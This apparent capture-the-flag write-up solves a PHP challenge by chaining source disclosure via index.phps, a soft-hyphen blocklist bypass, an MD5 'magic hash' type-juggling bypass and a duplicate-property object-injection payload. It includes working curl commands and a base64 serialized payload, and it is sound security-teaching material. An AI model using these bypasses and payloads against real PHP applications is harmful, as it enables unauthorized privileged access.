Summary
A "Brunnerne Hosting" customer portal exposed a legacy reservation import form that fed
user-controlled, base64-encoded data into unserialize(). Getting a flag required chaining
three independent bypasses baked into the same handler:
- A hidden legacy CGI compatibility check gated behind a Unicode soft-hyphen substitution trick in the query string.
- A PHP "magic hash" type-juggling bypass on a loose (
!=) MD5 comparison for the staff PIN. - A duplicate-property trick against a regex-based sanity check on the serialized payload, so
the app's own validation saw
role=guestwhile PHP'sunserialize()actually setrole=admin.
Landing all three let us build a Booking object with role=admin and a Receipt object
wrapping a Voucher object. The server itself flips Receipt::$flushOnShutdown = true and then
unset()s the booking, triggering Receipt::__destruct(), which stringifies the Voucher and
echoes the flag.
Flag: brunner{php_was_a_web_framework_and_a_fever_dream}
Recon
Base page is a retro "Brunnerne Hosting" customer portal with a single POST form:
curl https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz
<div class="panel-title">Reservation import</div>
<p class="intro">The original booking system is no longer in service. Staff can restore a
customer reservation from an exported booking file.</p>
<form method="post">
<label>Staff recovery code</label>
<input name="staff_pin" autocomplete="off">
<label>Reservation export</label>
<textarea name="reservation_export" rows="7" spellcheck="false"></textarea>
<button type="submit">Import reservation</button>
</form>
Two inputs (staff_pin, reservation_export) - textarea + "export" language screams
serialize/base64 blob. Checked robots.txt on a hunch, since old-school portals like this often
disallow stray debug paths:
curl https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz/robots.txt
User-agent: *
Disallow: /cgi-bin/
Disallow: /stats/
Disallow: /webmail/
Disallow: /private/
Disallow: /index.phps
index.phps is the interesting one - Apache's legacy PHP source-highlighting handler serves
.phps files as syntax-highlighted plaintext instead of executing them. Full source disclosure,
handed over for free:
curl https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz/index.phps
Source review
Stripped of HTML syntax highlighting, the relevant PHP:
const ACCESS_CODE_HASH = '0e769468064680399918991535722650';
final class Voucher {
public function __toString(): string {
return getenv('WEBHOTEL_LICENSE_KEY') ?: 'brunner{REDACTED}';
}
}
final class Receipt {
public bool $flushOnShutdown = false;
public mixed $voucher = null;
public function __destruct() {
if ($this->flushOnShutdown && $this->voucher instanceof Voucher) {
$flag = htmlspecialchars((string) $this->voucher, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
echo '<div class="result flag">' . $flag . '</div>';
}
}
}
final class Booking {
public string $user = '';
public string $role = 'guest';
public mixed $receipt = null;
}
function legacy_cgi_request(): bool {
$raw = $_SERVER['QUERY_STRING'] ?? '';
$decoded = urldecode($raw);
if (str_contains($decoded, '-')) {
return false;
}
$normalized = str_replace("\u{00AD}", '-', $decoded);
return trim($normalized) === '-d webhotel.legacy=1';
}
function first_serialized_string(string $serialized, string $property): ?string {
$name = preg_quote($property, '/');
$pattern = '/s:' . strlen($property) . ':"' . $name . '";s:(\d+):"(.*?)";/s';
if (!preg_match($pattern, $serialized, $match)) {
return null;
}
return strlen($match[2]) === (int) $match[1] ? $match[2] : null;
}
Handler logic (POST path):
if (!legacy_cgi_request()) -> "reservation service unavailable"
elseif (md5($staffPin) != ACCESS_CODE_HASH) -> "recovery code rejected"
elseif ($reservation === false) -> "reservation export rejected"
elseif (first_serialized_string($reservation, 'role') !== 'guest')-> "only customer reservations can be imported"
else {
$booking = @unserialize($reservation, [
'allowed_classes' => [Booking::class, Receipt::class, Voucher::class],
]);
if (!$booking instanceof Booking) -> "could not be read"
elseif ($booking->role !== 'admin') -> "staff reservation required"
elseif (!$booking->receipt instanceof Receipt) -> "receipt missing"
else {
$booking->receipt->flushOnShutdown = true;
$destroyBooking = $booking;
// ... later: unset($destroyBooking); unset($booking);
}
}
The vulnerability class is textbook PHP object injection with a whitelisted allowed_classes
array - no arbitrary class gadget hunting needed, the app hands you the exact three classes it
wants populated. The interesting part is that every gate is independently bypassable by abusing
PHP/HTTP quirks rather than logic flaws in the business rules themselves.
Gate 1: legacy_cgi_request() - soft hyphen bypass
The check wants the raw query string, after urldecode(), to equal -d webhotel.legacy=1 -
but it explicitly rejects any decoded string containing a literal - before it does a
str_replace("\u{00AD}", '-', ...) substitution. \u{00AD} is the Unicode soft hyphen
(U+00AD, UTF-8 bytes 0xC2 0xAD), a distinct codepoint from ASCII hyphen-minus (0x2D).
So: send the soft hyphen instead of a real hyphen. It passes the blocklist (no literal -
present), then gets rewritten to - by the app itself, satisfying the final string comparison.
GET /?%C2%ADd%20webhotel.legacy=1
Verified locally before firing at the target:
function legacy_cgi_request(string $raw): bool {
$decoded = urldecode($raw);
if (str_contains($decoded, "-")) return false;
$normalized = str_replace("\u{00AD}", "-", $decoded);
return trim($normalized) === "-d webhotel.legacy=1";
}
var_dump(legacy_cgi_request("%C2%ADd%20webhotel.legacy=1"));
// bool(true)
Gate 2: staff_pin - magic hash
ACCESS_CODE_HASH is 0e769468064680399918991535722650 - an MD5 hash string that's entirely
digits after the 0e prefix. Compared with loose !=, PHP historically treats a string
matching ^0e[0-9]+$ as scientific notation and casts it to a float, so "0e123" == "0e456"
evaluates true (both cast to 0). This is the classic PHP "magic hash" bug.
Any string whose own MD5 also matches ^0e[0-9]+$ works, regardless of digits. Used the
well-known collision 240610708:
php -r 'echo md5("240610708");'
0e462097431906509019562988736854
var_dump(md5("240610708") != "0e769468064680399918991535722650");
// bool(false) -> check passes
Gate 3: first_serialized_string() - duplicate property trick
This is the core trick of the challenge. The app runs a regex over the raw serialized string
before ever calling unserialize(), looking for the first s:4:"role";s:N:"value"; substring
and requiring value === 'guest'. But it also requires the actual deserialized object to have
$booking->role === 'admin'.
PHP's unserialize() builds objects by processing key/value pairs in order and assigning them
to properties as it goes - if the same property name appears twice in one object's serialized
data, the last occurrence wins, silently overwriting the earlier one. The property count N
in O:7:"Booking":N:{...} just needs to match the total number of key/value pairs, duplicates
included.
So the payload declares role twice:
s:4:"role";s:5:"guest"; <- first occurrence, satisfies the regex pre-check
...
s:4:"role";s:5:"admin"; <- later occurrence, wins in the actual object
Built and validated locally with real copies of the three classes:
$payload = 'O:7:"Booking":4:{'
. 's:4:"user";s:0:"";'
. 's:4:"role";s:5:"guest";'
. 's:7:"receipt";' . serialize($receipt) // Receipt containing a Voucher
. 's:4:"role";s:5:"admin";'
. '}';
Regex-extracted role: 'guest'
object(Booking)#3 (3) {
["user"]=> string(0) ""
["role"]=> string(5) "admin"
["receipt"]=> object(Receipt)#4 (2) {
["flushOnShutdown"]=> bool(false)
["voucher"]=> object(Voucher)#5 (0) {}
}
}
Actual role property: admin
receipt instanceof Receipt: true
Confirmed exactly the split behavior needed: sanity-check sees guest, real object has admin.
Decoded final payload sent to the server:
O:7:"Booking":4:{s:4:"user";s:0:"";s:4:"role";s:5:"guest";s:7:"receipt";O:7:"Receipt":2:{s:15:"flushOnShutdown";b:0;s:7:"voucher";O:7:"Voucher":0:{}}s:4:"role";s:5:"admin";}
flushOnShutdown doesn't matter in the payload itself - the app forces it to true server-side
once it confirms $booking->receipt instanceof Receipt, right before destroying the booking.
Putting it together
curl -s -X POST \
"https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz/?%C2%ADd%20webhotel.legacy=1" \
--data-urlencode "staff_pin=240610708" \
--data-urlencode "reservation_export=Tzo3OiJCb29raW5nIjo0OntzOjQ6InVzZXIiO3M6MDoiIjtzOjQ6InJvbGUiO3M6NToiZ3Vlc3QiO3M6NzoicmVjZWlwdCI7Tzo3OiJSZWNlaXB0IjoyOntzOjE1OiJmbHVzaE9uU2h1dGRvd24iO2I6MDtzOjc6InZvdWNoZXIiO086NzoiVm91Y2hlciI6MDp7fX1zOjQ6InJvbGUiO3M6NToiYWRtaW4iO30="
First attempt failed with an empty reservation_export (local shell variable pointed at a file
that only existed in the sandbox used to build the payload, not on the actual attack box) -
got Only customer reservations can be imported. as a result of an empty string failing the
regex check entirely. Re-ran with the base64 blob pasted inline:
<div class="result ok">Reservation imported.</div>
<div class="result flag">brunner{php_was_a_web_framework_and_a_fever_dream}</div>
Key vulnerabilities
| # | Vulnerability | Root cause |
|---|---|---|
| 1 | Legacy CGI check bypass | Blocklist checks for literal - before a soft-hyphen-to-hyphen substitution, allowing U+00AD to sneak past and become a real hyphen after the check |
| 2 | Staff PIN auth bypass | Loose (!=) comparison of two "0e"-prefixed all-digit MD5 hashes - PHP type-juggling ("magic hash") |
| 3 | PHP Object Injection |
unserialize() on user-controlled base64 data, restricted via allowed_classes but with no __wakeup/property validation |
| 4 | Regex sanity-check bypass | Property validation via regex on raw serialized string doesn't account for duplicate keys; unserialize() lets later duplicates silently overwrite earlier ones |
| 5 | Destructor-based side effect |
Receipt::__destruct() performs a privileged action (flag disclosure) reachable purely by controlling object graph + a state flag the app itself sets |
Attack chain
robots.txt disallow "/index.phps"
|
v
Apache .phps handler leaks full PHP source (no code exec needed)
|
v
GET ?%C2%ADd%20webhotel.legacy=1 --> soft-hyphen bypasses legacy_cgi_request() blocklist
|
v
staff_pin=240610708 --> md5() magic hash bypasses loose ACCESS_CODE_HASH check
|
v
reservation_export = base64(serialized Booking)
duplicate "role" property: first="guest" (fools regex pre-check)
last ="admin" (real value after unserialize())
|
v
allowed_classes unserialize() builds:
Booking { role: admin, receipt: Receipt { voucher: Voucher } }
|
v
Server sets Receipt->flushOnShutdown = true, then unset()s the Booking
|
v
Receipt::__destruct() fires --> voucher instanceof Voucher --> echoes flag
Top comments (0)